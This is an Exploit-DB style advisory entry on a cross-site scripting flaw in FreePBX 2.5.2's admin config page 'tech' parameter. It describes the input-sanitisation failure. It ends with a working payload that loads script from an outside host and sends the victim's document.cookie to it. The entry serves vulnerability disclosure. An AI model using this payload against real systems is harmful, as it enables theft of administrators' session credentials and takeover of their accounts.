FreePBX 2.5.2 - '/admin/config.php?tech' Cross-Site Scripting

EDB-ID:

33442




Platform:

PHP

Date:

2009-12-28


source: https://www.securityfocus.com/bid/37482/info

FreePBX is prone to a cross-site scripting vulnerability and multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

FreePBX 2.5.2 is vulnerable; other versions may also be affected. 

location.href='https://www.example.com/admin/admin/config.php?display=trunks&tech=%3C/script%3E%20%22%3E
%3Cscript%20src%3Dhttp%3A//global-evolution.info/etc/grep.php%3E%3C/script%3E?nice='+escape(document.cookie)